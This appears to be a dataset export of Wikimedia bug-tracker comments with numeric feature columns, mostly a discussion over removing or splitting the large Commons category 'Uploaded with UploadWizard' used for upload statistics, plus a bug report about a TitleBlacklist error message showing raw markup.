Looks like the opinion at the Commons discussion is split (as well as in the bug comments here). I'm going to go ahead and close this as WONTFIX. If stats.wikimedia.org stops relying on it or a consensus develops on Commons to delete it, feel free to reopen."
199566,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #15)
> [Removing RESOLVED LATER as that is deprecated.]
There should be a message telling me this when selecting.

(In reply to comment #13)
> all dump stats are regenerated from scratch each time
This way your statistics are wrong. The cumulative risk for each single file to be deleted grows over the time. If you then generate statistics from the files (uploaded with the wizard) alive, it will always look like having a growing number of Upload Wizard uploads even if the number of Upload Wizard uploads remains constant. This effect is small but it's there. However, the percentage of Upload Wizard uploads may remain constant over time, if you computed the ""total"" numbers also from non-deleted files. But there is no prove that Upload Wizard uploads have the same chance getting deleted like any other uploaded file. Using the upload log from when Upload Wizard started using a special ""upload summary"" is more reliable.
Finally, I think one should attach some sources if required for these statistics and how you computed them next to each table/figure e.g. using footnotes. Often this is both important and interesting.",,,1355909095,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-36,True,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,2.0,0.0,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,5.666666666666667,8.666666666666666,0.0,1.0,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,5.0,0.6666666666666666,0.6666666666666666,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,13.333333333333334,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,4.333333333333333,2.6666666666666665,9.0,3.0,1.6666666666666667,9.0,0.0,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,0.6666666666666666,0.0,4.0,8.666666666666666,3.6666666666666665,0.0,1.6666666666666667,0.0,4.0,0.0,1.3333333333333333,1.0,0.6666666666666666,3.3333333333333335,0.3333333333333333,0.0,0.0,4.154929577464789,0.755868544600939,"(In reply to comment #15)
QUOTE
There should be a message telling me this when selecting.

(In reply to comment #13)
QUOTE
This way your statistics are wrong. The cumulative risk for each single file to be deleted grows over the time. If you then generate statistics from the files (uploaded with the wizard) alive, it will always look like having a growing number of Upload Wizard uploads even if the number of Upload Wizard uploads remains constant. This effect is small but it's there. However, the percentage of Upload Wizard uploads may remain constant over time, if you computed the ""total"" numbers also from non-deleted files. But there is no prove that Upload Wizard uploads have the same chance getting deleted like any other uploaded file. Using the upload log from when Upload Wizard started using a special ""upload summary"" is more reliable.
Finally, I think one should attach some sources if required for these statistics and how you computed them next to each table/figure e.g. using footnotes. Often this is both important and interesting."
199559,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,[Removing RESOLVED LATER as that is deprecated.],,,1355837559,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,True,,,-37,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,4.2,1.0,[Removing RESOLVED LATER as that is deprecated.]
199553,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #13)
Thanks for the reply. I guess at some point you'll stop gathering statistics. Just let us know when so we can remove this category when other stuff is done anyway (e.g. categorizing or i18n replacements). I don't think there is a pressing need to create more work now [there were times where the comment field was totally empty in UpWiz uploads; and now it is also not perfect] so I suggest, ""resolved later""",,,1355832126,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,1.0,0.0,1.0,1.0,2.0,4.0,1.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,5.0,1.0,16.0,6.0,0.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,4.0,1.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,2.0,2.0,0.0,1.0,3.0,5.0,7.0,3.0,2.0,5.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,7.0,6.0,1.0,0.0,2.0,0.0,7.0,0.0,3.0,1.0,1.0,3.0,1.0,0.0,1.0,3.768421052631579,0.8210526315789474,"(In reply to comment #13)
Thanks for the reply. I guess at some point you'll stop gathering statistics. Just let us know when so we can remove this category when other stuff is done anyway (e.g. categorizing or i18n replacements). I don't think there is a pressing need to create more work now [there were times where the comment field was totally empty in UpWiz uploads; and now it is also not perfect] so I suggest, ""resolved later"""
199548,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"**erikzachte** wrote:

Indeed, all dump stats are regenerated from scratch each time. This is on purpose. Provided the integrity of the dumps is maintained, and I think we're good there, that gives us most consistent metrics over time, as fixed bugs (few) and new metrics (occasional) yield improved or new data for all history. But it brings the caveat Erik described above.

If decision is taken to remove the category I can switch to the comment field.  

Alternative (e.g. when comment was not consistently set from the beginning) would be to have a script replace [[..uploadwizard..]] by an in-article comment 
<!--uploadwizard (do not remove this comment, for stats purposes)-->",,,1355830917,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,2.0,0.0,0.0,2.5,1.5,3.0,1.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,2.0,0.0,5.5,8.5,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.5,0.5,0.0,5.0,0.5,0.5,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,5.0,3.5,5.0,1.5,2.0,8.0,0.0,0.0,0.5,0.0,4.0,0.0,0.5,0.0,2.5,8.5,2.5,0.0,0.0,0.0,2.5,0.0,1.0,1.5,0.5,0.0,0.0,0.5,2.5,3.9328952239911144,0.7823954091077379,"**erikzachte** wrote:

Indeed, all dump stats are regenerated from scratch each time. This is on purpose. Provided the integrity of the dumps is maintained, and I think we're good there, that gives us most consistent metrics over time, as fixed bugs (few) and new metrics (occasional) yield improved or new data for all history. But it brings the caveat Erik described above.

If decision is taken to remove the category I can switch to the comment field.  

Alternative (e.g. when comment was not consistently set from the beginning) would be to have a script replace [[..uploadwizard..]] by an in-article comment 
<!--uploadwizard (do not remove this comment, for stats purposes)-->"
199542,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"Ryan, what are those other ways to see if an image is uploaded via UploadWizard?

The category Category:Uploaded_with_UploadWizard is not suitable for navigation, but I don't see a need to remove it, either. It's purpose is to log the upload tool.",,,1355782346,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,2.0,4.0,4.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,13.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,12.0,4.0,2.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8461538461538461,"Ryan, what are those other ways to see if an image is uploaded via UploadWizard?

The category Category:Uploaded_with_UploadWizard is not suitable for navigation, but I don't see a need to remove it, either. It's purpose is to log the upload tool."
199538,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"My understanding is that Erik's scripts run each time against the whole dump, so if you removed the category after a wihle, that would mean the counts would change. We should give Erik time to clarify that.

It's possible that these could be switched over to parse the edit summary, provided the software adds and has always added the summary in the same way it's added the category. But tradeoffs and issues with that approach need to be analyzed first.

I still fail to see what's accomplished by doing this, as we also have other ""Uploaded with/to"" categories that have already become very large (Commonist is at >100K files, images from WLM2012 ist at >300K files). What's the problem we're trying to solve by removing or restructuring these categories? What, if any, operation is currently slowed down by these categories?",,,1355781608,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,1.0,0.0,0.5,1.5,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,2.5,1.0,4.0,13.5,0.0,2.5,0.5,0.0,0.0,1.5,0.5,0.0,0.0,0.5,1.0,0.0,8.0,1.5,1.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,12.5,2.0,2.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.5,0.0,5.0,2.5,7.5,2.5,2.0,9.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,4.0,13.5,2.5,1.0,1.0,0.0,4.0,0.0,3.0,0.5,0.0,2.5,0.0,0.0,0.0,4.011627906976744,0.7209302325581395,"My understanding is that Erik's scripts run each time against the whole dump, so if you removed the category after a wihle, that would mean the counts would change. We should give Erik time to clarify that.

It's possible that these could be switched over to parse the edit summary, provided the software adds and has always added the summary in the same way it's added the category. But tradeoffs and issues with that approach need to be analyzed first.

I still fail to see what's accomplished by doing this, as we also have other ""Uploaded with/to"" categories that have already become very large (Commonist is at >100K files, images from WLM2012 ist at >300K files). What's the problem we're trying to solve by removing or restructuring these categories? What, if any, operation is currently slowed down by these categories?"
199534,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #7)
>used for statistical purposes
For statistical purposes, you can use the upload summary. At least there is no need that the category remains at the page forever? Can I build automated removal of that category in our clean-up regexps?",,,1355780241,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,6.0,17.0,2.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.75,0.8846153846153846,"(In reply to comment #7)
QUOTE
For statistical purposes, you can use the upload summary. At least there is no need that the category remains at the page forever? Can I build automated removal of that category in our clean-up regexps?"
199531,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"Actually, we were at 46.3% in the pre-WLM month, and then at 69.6% during WLM. It'll probably drop again to ~50% in October/November as the influx of new uploaders goes down. Tracking those types of changes over time, and seeing how they may be influenced e.g. by the integration of new features like the Flickr upload feature or improved WP integration, is precisely the point.",,,1355775867,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,4.0,11.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,16.0,6.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.925,0.7625,"Actually, we were at 46.3% in the pre-WLM month, and then at 69.6% during WLM. It'll probably drop again to ~50% in October/November as the influx of new uploaders goes down. Tracking those types of changes over time, and seeing how they may be influenced e.g. by the integration of new features like the Flickr upload feature or improved WP integration, is precisely the point."
199527,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #7)
I don't know why you still have the need to track. You've 70% now. This indicates that UpWiz is now usable :-) I still think it was wrong making a buggy tool default.

For anyone else who didn't recognize it, Erik's comment means WONTFIX.",,,1355775596,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0.0,2.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,3.0,0.0,12.0,8.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,3.0,3.0,14.0,3.0,0.0,5.0,0.0,2.0,0.0,2.0,6.0,0.0,3.0,0.0,9.0,8.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.390625,0.84375,"(In reply to comment #7)
I don't know why you still have the need to track. You've 70% now. This indicates that UpWiz is now usable :-) I still think it was wrong making a buggy tool default.

For anyone else who didn't recognize it, Erik's comment means WONTFIX."
199524,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"This category is still used for statistical purposes. For example, the ""upload activity levels"" table at http://stats.wikimedia.org/wikispecial/EN/TablesWikipediaCOMMONS.htm relies on the existence of this category. I don't see why the benefit of either removing or subdividing this category outweighs the cost.",,,1355768091,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,9.0,2.0,4.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.404255319148936,0.7872340425531915,"This category is still used for statistical purposes. For example, the ""upload activity levels"" table at URL relies on the existence of this category. I don't see why the benefit of either removing or subdividing this category outweighs the cost."
199520,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"**russavia.wikipedia** wrote:

I have raised the issue for discussion at https://commons.wikimedia.org/wiki/Commons:Categories_for_discussion/2012/12/Category:Uploaded_with_UploadWizard -- I wouldn't expect consensus to take forever, so we could leave this report open for the time being?",,,1355649377,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,8.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,10.0,3.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.871794871794872,0.8461538461538461,"**russavia.wikipedia** wrote:

I have raised the issue for discussion at URL -- I wouldn't expect consensus to take forever, so we could leave this report open for the time being?"
199518,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"I would favor getting rid of the category entirely. One of the reasons the category was created was actually to find bugs in UploadWizard when it was first being developed. For example, if a few image pages had a weird formatting problem and they both happened to be one of the 10,000 images in the 'Uploaded with UploadWizard' category, we knew the problem was an UploadWizard bug. Now the category is fairly useless for debugging purposes (and there are other ways we can see if an image is uploaded via UploadWizard anyway).",,,1355520525,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0.5,0.0,0.5,2.0,0.0,4.0,2.5,0.0,0.0,1.5,1.5,2.0,1.0,0.0,1.0,2.5,0.5,5.0,9.5,0.0,1.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,0.5,0.0,3.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.5,6.5,7.0,2.0,1.5,9.0,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,3.5,9.5,3.5,0.0,2.0,0.0,3.5,0.0,0.5,3.0,0.0,1.5,0.0,0.0,0.0,4.2745098039215685,0.803921568627451,"I would favor getting rid of the category entirely. One of the reasons the category was created was actually to find bugs in UploadWizard when it was first being developed. For example, if a few image pages had a weird formatting problem and they both happened to be one of the 10,000 images in the 'Uploaded with UploadWizard' category, we knew the problem was an UploadWizard bug. Now the category is fairly useless for debugging purposes (and there are other ways we can see if an image is uploaded via UploadWizard anyway)."
199514,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #3)
> First the Commons community should decide what it wants:
> * Get rid of the category
> * Keep the category split up by date
> * Empty tag template
> * (maybe another option)

Logically, using an change tags for upload actions by upload wizard would make sense. Then users can browse by different dates in Special:log/upload filtered to just upload wizard uploads. I suppose what approach is best all depends on what the point of adding the category was, but thought I should mention that as another possibility (or something to do in addition to the category).",,,1355520201,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,15.0,1.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,20.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,4.0,2.0,12.0,1.0,2.0,6.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,2.0,15.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,2.0,0.0,1.0,0.0,3.978723404255319,0.7127659574468085,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Logically, using an change tags for upload actions by upload wizard would make sense. Then users can browse by different dates in Special:log/upload filtered to just upload wizard uploads. I suppose what approach is best all depends on what the point of adding the category was, but thought I should mention that as another possibility (or something to do in addition to the category)."
199510,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"First the Commons community should decide what it wants:
* Get rid of the category
* Keep the category split up by date
* Empty tag template
* (maybe another option)

Discussion should probably happen at https://commons.wikimedia.org/wiki/Category_talk:Uploaded_with_UploadWizard and you should advertise it at the village pump.

When you have consensus you should probably come back to bugzilla to have it implemented. For the meantime I would close this bug.",,,1355519838,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,10.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,4.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,12.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,9.0,10.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0246913580246915,0.691358024691358,"First the Commons community should decide what it wants:
* Get rid of the category
* Keep the category split up by date
* Empty tag template
* (maybe another option)

Discussion should probably happen at URL and you should advertise it at the village pump.

When you have consensus you should probably come back to bugzilla to have it implemented. For the meantime I would close this bug."
199505,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"(In reply to comment #0)
Please enter reasonable summaries for bugs, a URL doesn't explain much. I have edited it now.

UW can be customized to upload to different categories by using autoCategories in UploadWizard.config.php so I guess this has been handled manually. Also it doesn't make much sense for UW to support month-wise categorization.

Maybe some commons admin can throw more light into what is needed.",,,1354269500,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-39,True,4.0,0.0,0.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,10.0,1.0,1.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,4.216867469879518,0.8072289156626506,"(In reply to comment #0)
Please enter reasonable summaries for bugs, a URL doesn't explain much. I have edited it now.

UW can be customized to upload to different categories by using autoCategories in UploadWizard.config.php so I guess this has been handled manually. Also it doesn't make much sense for UW to support month-wise categorization.

Maybe some commons admin can throw more light into what is needed."
199499,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"The category is not of any use any more; at least this way (without a date). It was used for statistics, I think but now it only proves that MediaWiki can handle very large categories, but this is not Wikimedia Commons' scope.

Since I guess for Month-categories you have to change UpWiz' code and can't just change LocalSettings.php so I don't retarget this bug.",,,1354224403,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-39,True,3.0,0.0,1.0,1.0,5.0,3.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,0.0,13.0,10.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,4.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,15.0,3.0,4.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,10.0,6.0,0.0,3.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,3.810126582278481,0.7974683544303798,"The category is not of any use any more; at least this way (without a date). It was used for statistics, I think but now it only proves that MediaWiki can handle very large categories, but this is not Wikimedia Commons' scope.

Since I guess for Month-categories you have to change UpWiz' code and can't just change LocalSettings.php so I don't retarget this bug."
44228,Login error message for blacklisted user autocreation shows markup,"Screenshot of a broken error message

When TitleBlacklist blocks creation of a new user account, the error message is now correctly parsed and displayed (see bug 41242). However, if it blocks autocreation of a local user account, the message is broken. See the attached screenshot.

The problem is that while the AbortNewAccount hook (see http://www.mediawiki.org/wiki/Manual:Hooks/AbortNewAccount) returns the error _message text_, the AbortAutoAccount hook (http://www.mediawiki.org/wiki/Manual:Hooks/AbortAutoAccount) returns the error _message name_. But both hooks are implemented with TitleBlacklistHooks::abortNewAccount which currently returns the error message text, so that AbortNewAccount works, while AbortAutoAccount does not. (Note the extra angle brackets on the screenshot: the resulting _message_ is used as a message name.)

The simple solution of separating the hook implementation into a new abortAutoAccount method and leaving the wfMessage call just in abortNewAccount is probably not acceptable, because AbortAutoAccount would result in a message without the $1 and $2 parameters. Either a new nonspecific parameterless message would need to be used in this case or the whole AbortNewAccount hook would need to be redesigned.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F10268}",Medium,50.0,1353156840,1358533466.0,PHID-USER-7clmfrlb7fwuko4jdjbs,False,,False,PHID-TASK-a5oosv56sj3jlq3dnt3l,task_description,resolved,True,c2,1,False,False,True,-41,True,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,5.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,7.666666666666667,0.0,1.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,4.333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,18.666666666666668,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,8.333333333333334,3.0,8.333333333333334,2.6666666666666665,2.3333333333333335,9.333333333333334,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.3333333333333333,0.0,0.3333333333333333,7.666666666666667,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,2.6666666666666665,0.0,1.0,0.0,0.0,0.0,4.6017316017316015,0.6666666666666666,"Screenshot of a broken error message

When TitleBlacklist blocks creation of a new user account, the error message is now correctly parsed and displayed (see bug 41242). However, if it blocks autocreation of a local user account, the message is broken. See the attached screenshot.

The problem is that while the AbortNewAccount hook (see URL returns the error _message text_, the AbortAutoAccount hook (URL returns the error _message name_. But both hooks are implemented with TitleBlacklistHooks::abortNewAccount which currently returns the error message text, so that AbortNewAccount works, while AbortAutoAccount does not. (Note the extra angle brackets on the screenshot: the resulting _message_ is used as a message name.)

The simple solution of separating the hook implementation into a new abortAutoAccount method and leaving the wfMessage call just in abortNewAccount is probably not acceptable, because AbortAutoAccount would result in a message without the $1 and $2 parameters. Either a new nonspecific parameterless message would need to be used in this case or the whole AbortNewAccount hook would need to be redesigned.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F10268}"
206241,Login error message for blacklisted user autocreation shows markup,"Thanks for taking the time to report this!

